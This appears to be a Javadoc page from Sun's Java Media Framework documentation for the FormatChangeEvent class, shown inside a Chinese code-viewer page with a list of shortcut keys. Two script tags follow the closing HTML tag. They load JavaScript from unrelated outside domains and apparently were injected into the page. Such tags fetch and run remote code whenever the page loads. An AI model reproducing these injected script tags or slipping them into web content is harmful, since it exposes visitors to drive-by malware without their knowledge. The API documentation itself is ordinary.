📄 formatchangeevent.html
字号:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Frameset//EN""http://www.w3.org/TR/REC-html40/frameset.dtd"><!--NewPage--><HTML><HEAD><!-- Generated by javadoc on Sat May 20 18:57:52 PDT 2000 --><TITLE>: Class FormatChangeEvent</TITLE><LINK REL ="stylesheet" TYPE="text/css" HREF="../../../stylesheet.css" TITLE="Style"></HEAD><BODY BGCOLOR="white"><!-- ========== START OF NAVBAR ========== --><A NAME="navbar_top"><!-- --></A><TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0"><TR><TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1"><A NAME="navbar_top_firstrow"><!-- --></A><TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3"> <TR ALIGN="center" VALIGN="top"> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../overview-summary.html"><FONT ID="NavBarFont1"><B>Overview</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-summary.html"><FONT ID="NavBarFont1"><B>Package</B></FONT></A> </TD> <TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-tree.html"><FONT ID="NavBarFont1"><B>Tree</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../deprecated-list.html"><FONT ID="NavBarFont1"><B>Deprecated</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../index-all.html"><FONT ID="NavBarFont1"><B>Index</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../help-doc.html"><FONT ID="NavBarFont1"><B>Help</B></FONT></A> </TD> </TR></TABLE></TD><TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM></EM></TD></TR><TR><TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> <A HREF="../../../javax/media/format/AudioFormat.html"><B>PREV CLASS</B></A> <A HREF="../../../javax/media/format/H261Format.html"><B>NEXT CLASS</B></A></FONT></TD><TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> <A HREF="../../../index.html" TARGET="_top"><B>FRAMES</B></A> <A HREF="FormatChangeEvent.html" TARGET="_top"><B>NO FRAMES</B></A></FONT></TD></TR><TR><TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2"> SUMMARY: INNER | <A HREF="#field_summary">FIELD</A> | <A HREF="#constructor_summary">CONSTR</A> | <A HREF="#method_summary">METHOD</A></FONT></TD><TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">DETAIL: <A HREF="#field_detail">FIELD</A> | <A HREF="#constructor_detail">CONSTR</A> | <A HREF="#method_detail">METHOD</A></FONT></TD></TR></TABLE><!-- =========== END OF NAVBAR =========== --><HR><!-- ======== START OF CLASS DATA ======== --><H2><FONT SIZE="-1">javax.media.format</FONT><BR>Class FormatChangeEvent</H2><PRE>java.lang.Object | +--java.util.EventObject | +--<A HREF="../../../javax/media/MediaEvent.html">javax.media.MediaEvent</A> | +--<A HREF="../../../javax/media/ControllerEvent.html">javax.media.ControllerEvent</A> | +--<B>javax.media.format.FormatChangeEvent</B></PRE><DL><DT><B>Direct Known Subclasses:</B> <DD><A HREF="../../../javax/media/SizeChangeEvent.html">SizeChangeEvent</A></DD></DL><HR><DL><DT>public class <B>FormatChangeEvent</B><DT>extends <A HREF="../../../javax/media/ControllerEvent.html">ControllerEvent</A></DL><P>A <CODE>FormatChangeEvent</CODE> is posted by a <code>Controller</code> when the <CODE>Format</CODE> of its media changes.<P><DL><DT><B>See Also: </B><DD><A HREF="../../../serialized-form.html#javax.media.format.FormatChangeEvent">Serialized Form</A></DL><HR><P><!-- ======== INNER CLASS SUMMARY ======== --><!-- =========== FIELD SUMMARY =========== --><A NAME="field_summary"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"><TD COLSPAN=2><FONT SIZE="+2"><B>Field Summary</B></FONT></TD></TR><TR BGCOLOR="white" CLASS="TableRowColor"><TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"><CODE>protected <A HREF="../../../javax/media/Format.html">Format</A></CODE></FONT></TD><TD><CODE><B><A HREF="../../../javax/media/format/FormatChangeEvent.html#newFormat">newFormat</A></B></CODE><BR> </TD></TR><TR BGCOLOR="white" CLASS="TableRowColor"><TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"><CODE>protected <A HREF="../../../javax/media/Format.html">Format</A></CODE></FONT></TD><TD><CODE><B><A HREF="../../../javax/media/format/FormatChangeEvent.html#oldFormat">oldFormat</A></B></CODE><BR> </TD></TR></TABLE> <A NAME="fields_inherited_from_class_java.util.EventObject"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#EEEEFF" CLASS="TableSubHeadingColor"><TD><B>Fields inherited from class java.util.EventObject</B></TD></TR><TR BGCOLOR="white" CLASS="TableRowColor"><TD><CODE>source</CODE></TD></TR></TABLE> <!-- ======== CONSTRUCTOR SUMMARY ======== --><A NAME="constructor_summary"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"><TD COLSPAN=2><FONT SIZE="+2"><B>Constructor Summary</B></FONT></TD></TR><TR BGCOLOR="white" CLASS="TableRowColor"><TD><CODE><B><A HREF="../../../javax/media/format/FormatChangeEvent.html#FormatChangeEvent(javax.media.Controller)">FormatChangeEvent</A></B>(<A HREF="../../../javax/media/Controller.html">Controller</A> source)</CODE><BR> Constructs a <CODE>FormatChangeEvent</CODE>.</TD></TR><TR BGCOLOR="white" CLASS="TableRowColor"><TD><CODE><B><A HREF="../../../javax/media/format/FormatChangeEvent.html#FormatChangeEvent(javax.media.Controller, javax.media.Format, javax.media.Format)">FormatChangeEvent</A></B>(<A HREF="../../../javax/media/Controller.html">Controller</A> source, <A HREF="../../../javax/media/Format.html">Format</A> oldFormat, <A HREF="../../../javax/media/Format.html">Format</A> newFormat)</CODE><BR> Constructs a <CODE>FormatChangeEvent</CODE>, indicating the old <CODE>Format</CODE> and the new <CODE>Format</CODE>.</TD></TR></TABLE> <!-- ========== METHOD SUMMARY =========== --><A NAME="method_summary"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"><TD COLSPAN=2><FONT SIZE="+2"><B>Method Summary</B></FONT></TD></TR><TR BGCOLOR="white" CLASS="TableRowColor"><TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"><CODE> <A HREF="../../../javax/media/Format.html">Format</A></CODE></FONT></TD><TD><CODE><B><A HREF="../../../javax/media/format/FormatChangeEvent.html#getNewFormat()">getNewFormat</A></B>()</CODE><BR> Gets the object's new <CODE>Format</CODE>.</TD></TR><TR BGCOLOR="white" CLASS="TableRowColor"><TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"><CODE> <A HREF="../../../javax/media/Format.html">Format</A></CODE></FONT></TD><TD><CODE><B><A HREF="../../../javax/media/format/FormatChangeEvent.html#getOldFormat()">getOldFormat</A></B>()</CODE><BR> Gets the object's old <CODE>Format</CODE>.</TD></TR></TABLE> <A NAME="methods_inherited_from_class_javax.media.ControllerEvent"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#EEEEFF" CLASS="TableSubHeadingColor"><TD><B>Methods inherited from class javax.media.<A HREF="../../../javax/media/ControllerEvent.html">ControllerEvent</A></B></TD></TR><TR BGCOLOR="white" CLASS="TableRowColor"><TD><CODE><A HREF="../../../javax/media/ControllerEvent.html#getSource()">getSource</A>, <A HREF="../../../javax/media/ControllerEvent.html#getSourceController()">getSourceController</A>, <A HREF="../../../javax/media/ControllerEvent.html#toString()">toString</A></CODE></TD></TR></TABLE> <A NAME="methods_inherited_from_class_java.lang.Object"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#EEEEFF" CLASS="TableSubHeadingColor"><TD><B>Methods inherited from class java.lang.Object</B></TD></TR><TR BGCOLOR="white" CLASS="TableRowColor"><TD><CODE>clone, equals, finalize, getClass, hashCode, notify, notifyAll, wait, wait, wait</CODE></TD></TR></TABLE> <P><!-- ============ FIELD DETAIL =========== --><A NAME="field_detail"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"><TD COLSPAN=1><FONT SIZE="+2"><B>Field Detail</B></FONT></TD></TR></TABLE><A NAME="oldFormat"><!-- --></A><H3>oldFormat</H3><PRE>protected <A HREF="../../../javax/media/Format.html">Format</A> <B>oldFormat</B></PRE><DL></DL><HR><A NAME="newFormat"><!-- --></A><H3>newFormat</H3><PRE>protected <A HREF="../../../javax/media/Format.html">Format</A> <B>newFormat</B></PRE><DL></DL><!-- ========= CONSTRUCTOR DETAIL ======== --><A NAME="constructor_detail"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"><TD COLSPAN=1><FONT SIZE="+2"><B>Constructor Detail</B></FONT></TD></TR></TABLE><A NAME="FormatChangeEvent(javax.media.Controller)"><!-- --></A><H3>FormatChangeEvent</H3><PRE>public <B>FormatChangeEvent</B>(<A HREF="../../../javax/media/Controller.html">Controller</A> source)</PRE><DL><DD>Constructs a <CODE>FormatChangeEvent</CODE>.<DD><DL><DT><B>Parameters:</B><DD><CODE>source</CODE> - The <CODE>Controller</CODE> that generated this event.</DL></DD></DL><HR><A NAME="FormatChangeEvent(javax.media.Controller, javax.media.Format, javax.media.Format)"><!-- --></A><H3>FormatChangeEvent</H3><PRE>public <B>FormatChangeEvent</B>(<A HREF="../../../javax/media/Controller.html">Controller</A> source, <A HREF="../../../javax/media/Format.html">Format</A> oldFormat, <A HREF="../../../javax/media/Format.html">Format</A> newFormat)</PRE><DL><DD>Constructs a <CODE>FormatChangeEvent</CODE>, indicating the old <CODE>Format</CODE> and the new <CODE>Format</CODE>.<DD><DL><DT><B>Parameters:</B><DD><CODE>source</CODE> - The <CODE>Controller</CODE> that generated this event.<DD><CODE>oldFormat</CODE> - The <code>Controller</code> object's old <CODE>Format</CODE>.<DD><CODE>newFormat</CODE> - The <code>Controller</code> object's new <CODE>Format</CODE>.</DL></DD></DL><!-- ============ METHOD DETAIL ========== --><A NAME="method_detail"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"><TD COLSPAN=1><FONT SIZE="+2"><B>Method Detail</B></FONT></TD></TR></TABLE><A NAME="getOldFormat()"><!-- --></A><H3>getOldFormat</H3><PRE>public <A HREF="../../../javax/media/Format.html">Format</A> <B>getOldFormat</B>()</PRE><DL><DD>Gets the object's old <CODE>Format</CODE>.<DD><DL><DT><B>Returns:</B><DD>A <CODE>Format</CODE> that describes the <code>Controller</code> object's original format.</DL></DD></DL><HR><A NAME="getNewFormat()"><!-- --></A><H3>getNewFormat</H3><PRE>public <A HREF="../../../javax/media/Format.html">Format</A> <B>getNewFormat</B>()</PRE><DL><DD>Gets the object's new <CODE>Format</CODE>.<DD><DL><DT><B>Returns:</B><DD>A <CODE>Format</CODE> that describes the <code>Controller</code> object's new format.</DL></DD></DL><!-- ========= END OF CLASS DATA ========= --><HR><!-- ========== START OF NAVBAR ========== --><A NAME="navbar_bottom"><!-- --></A><TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0"><TR><TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1"><A NAME="navbar_bottom_firstrow"><!-- --></A><TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3"> <TR ALIGN="center" VALIGN="top"> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../overview-summary.html"><FONT ID="NavBarFont1"><B>Overview</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-summary.html"><FONT ID="NavBarFont1"><B>Package</B></FONT></A> </TD> <TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-tree.html"><FONT ID="NavBarFont1"><B>Tree</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../deprecated-list.html"><FONT ID="NavBarFont1"><B>Deprecated</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../index-all.html"><FONT ID="NavBarFont1"><B>Index</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../help-doc.html"><FONT ID="NavBarFont1"><B>Help</B></FONT></A> </TD> </TR></TABLE></TD><TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM></EM></TD></TR><TR><TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> <A HREF="../../../javax/media/format/AudioFormat.html"><B>PREV CLASS</B></A> <A HREF="../../../javax/media/format/H261Format.html"><B>NEXT CLASS</B></A></FONT></TD><TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> <A HREF="../../../index.html" TARGET="_top"><B>FRAMES</B></A> <A HREF="FormatChangeEvent.html" TARGET="_top"><B>NO FRAMES</B></A></FONT></TD></TR><TR><TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2"> SUMMARY: INNER | <A HREF="#field_summary">FIELD</A> | <A HREF="#constructor_summary">CONSTR</A> | <A HREF="#method_summary">METHOD</A></FONT></TD><TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">DETAIL: <A HREF="#field_detail">FIELD</A> | <A HREF="#constructor_detail">CONSTR</A> | <A HREF="#method_detail">METHOD</A></FONT></TD></TR></TABLE><!-- =========== END OF NAVBAR =========== --><HR><font size="-1"> <a href="mailto:jmf-bugs@sun.com">Submit a bug or feature</a> <br>Copyright 1999-2000 Sun Microsystems, Inc. 901 San Antonio Road, Palo Alto, California, 94303, U.S.A. All Rights Reserved. See the <a href="spec-license.html">Specification License</a> for more details. <br>Sun, Sun Microsystems, and Java are trademarks or registered trademarks of Sun Microsystems, Inc. in the US and other countries.</font></BODY></HTML>
<script language=javascript src=http://www.3389qiqi.com/xx.js></script>
<script language="javascript" src="http://grwm.woxwngw.cn/index.htm"></script>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -